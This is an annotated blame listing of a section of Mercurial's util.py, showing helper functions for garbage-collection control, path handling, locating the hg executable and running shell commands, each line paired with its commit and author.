diff changeset
1024 min = max
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1025 yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1026 blen = 0
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1027 buf = []
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1028 if buf:
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1029 yield ''.join(buf)
526c40a74bd0 templater: return data in increasing chunk sizes
Brendan Cully <brendan@kublai.com>
parents: 7301
diff changeset
1030
7947
a454eeb1b827 move util.Abort to error.py
Matt Mackall <mpm@selenic.com>
parents: 7913
diff changeset
1031 Abort = error.Abort
508
42a660abaf75 [PATCH] Harden os.system
mpm@selenic.com
parents: 464
diff changeset
1032
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1033 def always(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1034 return True
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1035
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1036 def never(fn):
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1037 return False
724
1c0c413cccdd Get add and locate to use new repo and dirstate walk code.
Bryan O'Sullivan <bos@serpentine.com>
parents: 705
diff changeset
1038
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1039 def nogc(func):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1040 """disable garbage collector
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1041
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1042 Python's garbage collector triggers a GC each time a certain number of
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1043 container objects (the number being defined by gc.get_threshold()) are
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1044 allocated even when marked not to be tracked by the collector. Tracking has
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1045 no effect on when GCs are triggered, only on what objects the GC looks
23543
4dd8a6a1240d spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23495
diff changeset
1046 into. As a workaround, disable GC while building complex (huge)
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1047 containers.
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1048
33820
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
1049 This garbage collector issue have been fixed in 2.7. But it still affect
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
1050 CPython's performance.
23495
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1051 """
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1052 def wrapper(*args, **kwargs):
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1053 gcenabled = gc.isenabled()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1054 gc.disable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1055 try:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1056 return func(*args, **kwargs)
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1057 finally:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1058 if gcenabled:
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1059 gc.enable()
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1060 return wrapper
b25f07cb5399 util: add a 'nogc' decorator to disable the garbage collection
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23370
diff changeset
1061
33820
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
1062 if pycompat.ispypy:
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
1063 # PyPy runs slower with gc disabled
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
1064 nogc = lambda x: x
05264fc9d8d6 util: make nogc effective for CPython
Jun Wu <quark@fb.com>
parents: 33814
diff changeset
1065
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1066 def pathto(root, n1, n2):
886
509de8ab6f31 Fix walk path handling on Windows
Bryan O'Sullivan <bos@serpentine.com>
parents: 884
diff changeset
1067 '''return the relative path from one place to another.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1068 root should use os.sep to separate directories
3669
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1069 n1 should use os.sep to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1070 n2 should use "/" to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1071 returns an os.sep-separated path.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1072
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1073 If n1 is a relative path, it's assumed it's
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1074 relative to root.
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
1075 n2 should always be relative to root.
3669
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
1076 '''
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1077 if not n1:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1078 return localpath(n2)
4230
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1079 if os.path.isabs(n1):
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1080 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1081 return os.path.join(root, localpath(n2))
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
1082 n2 = '/'.join((pconvert(root), n2))
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
1083 a, b = splitpath(n1), n2.split('/')
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1084 a.reverse()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1085 b.reverse()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
1086 while a and b and a[-1] == b[-1]:
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1087 a.pop()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
1088 b.pop()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
1089 b.reverse()
30618
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30545
diff changeset
1090 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
1091
14228
116de1da2154 rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents: 14167
diff changeset
1092 def mainfrozen():
6499
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
1093 """return True if we are a frozen executable.
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
1094
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
1095 The code supports py2exe (most common, Windows only) and tools/freeze
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
1096 (portable, not much used).
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
1097 """
14968
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
1098 return (safehasattr(sys, "frozen") or # new py2exe
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
1099 safehasattr(sys, "importers") or # old py2exe
30039
ff7697b436ab py3: use unicode in is_frozen()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30038
diff changeset
1100 imp.is_frozen(u"__main__")) # tools/freeze
6499
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
1101
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
1102 # the location of data files matching the source code
27764
dd0c5f4d1b53 util: adjust 'datapath' to be correct in a frozen OS X package
Matt Harbison <matt_harbison@yahoo.com>
parents: 27755
diff changeset
1103 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
1104 # executable version (py2exe) doesn't support __file__
30672
10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30647
diff changeset
1105 datapath = os.path.dirname(pycompat.sysexecutable)
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
1106 else:
31091
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31008
diff changeset
1107 datapath = os.path.dirname(pycompat.fsencode(__file__))
30314
8321b083a83d py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30279
diff changeset
1108
22638
0d0350cfc7ab i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents: 22633
diff changeset
1109 i18n.setdatapath(datapath)
0d0350cfc7ab i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents: 22633
diff changeset
1110
22632
db15bb2d6323 util: move _hgexecutable a few lines, closer to where it is used
Mads Kiilerich <madski@unity3d.com>
parents: 22245
diff changeset
1111 _hgexecutable = None
db15bb2d6323 util: move _hgexecutable a few lines, closer to where it is used
Mads Kiilerich <madski@unity3d.com>
parents: 22245
diff changeset
1112
5062
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
1113 def hgexecutable():
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
1114 """return location of the 'hg' executable.
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
1115
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
1116 Defaults to $HG or 'hg' in the search path.
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
1117 """
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
1118 if _hgexecutable is None:
30642
344e68882cd3 py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30630
diff changeset
1119 hg = encoding.environ.get('HG')
31539
28f00d07e2ee util: reference __main__ in sys.modules as a sysstr
Augie Fackler <augie@google.com>
parents: 31503
diff changeset
1120 mainmod = sys.modules[pycompat.sysstr('__main__')]
6500
a3175cd7dbec Tidy code, fix typo
Bryan O'Sullivan <bos@serpentine.com>
parents: 6499
diff changeset
1121 if hg:
14229
85fd8402cbc4 rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents: 14228
diff changeset
1122 _sethgexecutable(hg)
14228
116de1da2154 rename util.main_is_frozen to mainfrozen
Adrian Buehlmann <adrian@cadifra.com>
parents: 14167
diff changeset
1123 elif mainfrozen():
27765
f1fb93eebb1d util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27764
diff changeset
1124 if getattr(sys, 'frozen', None) == 'macosx_app':
f1fb93eebb1d util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27764
diff changeset
1125 # Env variable set by py2app
30642
344e68882cd3 py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30630
diff changeset
1126 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
27765
f1fb93eebb1d util: adjust hgexecutable() to handle frozen Mercurial on OS X
Matt Harbison <matt_harbison@yahoo.com>
parents: 27764
diff changeset
1127 else:
30672
10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30647
diff changeset
1128 _sethgexecutable(pycompat.sysexecutable)
31091
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31008
diff changeset
1129 elif (os.path.basename(
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31008
diff changeset
1130 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31008
diff changeset
1131 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
6499
479847ccabe0 Added hgexecutable support for py2exe/frozen scripts
"Paul Moore <p.f.moore@gmail.com>"
parents: 5659
diff changeset
1132 else:
14271
4030630fb59c rename util.find_exe to findexe
Adrian Buehlmann <adrian@cadifra.com>
parents: 14262
diff changeset
1133 exe = findexe('hg') or os.path.basename(sys.argv[0])
14229
85fd8402cbc4 rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents: 14228
diff changeset
1134 _sethgexecutable(exe)
5062
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
1135 return _hgexecutable
4686
849f011dbf79 Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4673
diff changeset
1136
14229
85fd8402cbc4 rename util.set_hgexecutable to _sethgexecutable
Adrian Buehlmann <adrian@cadifra.com>
parents: 14228
diff changeset
1137 def _sethgexecutable(path):
5062
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
1138 """set location of the 'hg' executable"""
4686
849f011dbf79 Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4673
diff changeset
1139 global _hgexecutable
5062
3d35c8cb5eb4 Simplify/correct finding the hg executable (fixes issue644)
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4832
diff changeset
1140 _hgexecutable = path
4686
849f011dbf79 Remember path to 'hg' executable and pass to external tools and hooks as $HG.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 4673
diff changeset
1141
26450
1138e1d05207 util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents: 26392
diff changeset
1142 def _isstdout(f):
1138e1d05207 util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents: 26392
diff changeset
1143 fileno = getattr(f, 'fileno', None)
1138e1d05207 util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents: 26392
diff changeset
1144 return fileno and fileno() == sys.__stdout__.fileno()
1138e1d05207 util.system: compare fileno to see if it needs stdout redirection
Yuya Nishihara <yuya@tcha.org>
parents: 26392
diff changeset
1145
30736
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1146 def shellenviron(environ=None):
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1147 """return environ with optional override, useful for shelling out"""
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1148 def py2shell(val):
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1149 'convert python object into string that is useful to shell'
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1150 if val is None or val is False:
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1151 return '0'
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1152 if val is True:
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1153 return '1'
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1154 return str(val)
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1155 env = dict(encoding.environ)
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1156 if environ:
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1157 env.update((k, py2shell(v)) for k, v in environ.iteritems())
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1158 env['HG'] = hgexecutable()
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1159 return env
d9e5b0aeeb90 util: extract the logic calculating environment variables
Jun Wu <quark@fb.com>
parents: 30672
diff changeset
1160
31125
3f8f53190d6a chg: deduplicate error handling of ui.system()
Yuya Nishihara <yuya@tcha.org>
parents: 31091
diff changeset
1161 def system(cmd, environ=None, cwd=None, out=None):
1882
c0320567931f merge util.esystem and util.system.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1880
diff changeset
1162 '''enhanced shell command execution.
c0320567931f merge util.esystem and util.system.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1880
diff changeset
1163 run with environment maybe modified, maybe in different dir.
508
42a660abaf75 [PATCH] Harden os.system
mpm@selenic.com
parents: 464
diff changeset
1164
11469
c37f35d7f2f5 http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents: 11297
diff changeset
1165 if out is specified, it is assumed to be a file-like object that has a
c37f35d7f2f5 http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents: 11297
diff changeset
1166 write() method. stdout and stderr will be redirected to out.'''
13439
d724a69309e0 util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents: 13400
diff changeset
1167 try:
30482
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30481
diff changeset
1168 stdout.flush()
13439
d724a69309e0 util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents: 13400
diff changeset
1169 except Exception:
d724a69309e0 util: flush stdout before calling external processes
Mads Kiilerich <mads@kiilerich.com>
parents: 13400
diff changeset
1170 pass
13188
6c9345f9edca util: concentrate quoting knowledge to windows.py quotecommand()
Steve Borho <steve@borho.org>
parents: 13128
diff changeset
1171 cmd = quotecommand(cmd)
32904
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1172 env = shellenviron(environ)
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1173 if out is None or _isstdout(out):
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1174 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1175 env=env, cwd=cwd)
11469
c37f35d7f2f5 http: deliver hook output to client
Maxim Khitrov <mkhitrov@gmail.com>
parents: 11297
diff changeset
1176 else:
32904
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1177 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1178 env=env, cwd=cwd, stdout=subprocess.PIPE,
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1179 stderr=subprocess.STDOUT)
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1180 for line in iter(proc.stdout.readline, ''):
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1181 out.write(line)
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1182 proc.wait()
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1183 rc = proc.returncode
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1184 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
19b0fd4b5570 plan9: drop py26 hacks
Matt Harbison <matt_harbison@yahoo.com>
parents: 32835
diff changeset
1185 rc = 0
9517
4368f582c806 util.system: Use subprocess instead of os.system
Mads Kiilerich <mads@kiilerich.com>
parents: 9508
diff changeset
1186 return rc
1880
05c7d75be925 fix broken environment save/restore when a hook runs.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 1877
diff changeset
1187
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1188 def checksignature(func):
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1189 '''wrap a function with code to check for calling errors'''
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1190 def check(*args, **kwargs):
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1191 try:
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1192 return func(*args, **kwargs)
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1193 except TypeError:
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1194 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
7646
e62a456b8dc5 error: move SignatureError
Matt Mackall <mpm@selenic.com>
parents: 7644
diff changeset
1195 raise error.SignatureError
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1196 raise
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1197
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1198 return check
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
1199
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1200 # a whilelist of known filesystems where hardlink works reliably
32331
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32330
diff changeset
1201 _hardlinkfswhitelist = {
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1202 'btrfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1203 'ext2',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1204 'ext3',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1205 'ext4',
31603
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31599
diff changeset
1206 'hfs',
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1207 'jfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1208 'reiserfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1209 'tmpfs',
31603
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31599
diff changeset
1210 'ufs',
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1211 'xfs',
31603
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31599
diff changeset
1212 'zfs',
32331
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32330
diff changeset
1213 }
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1214
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
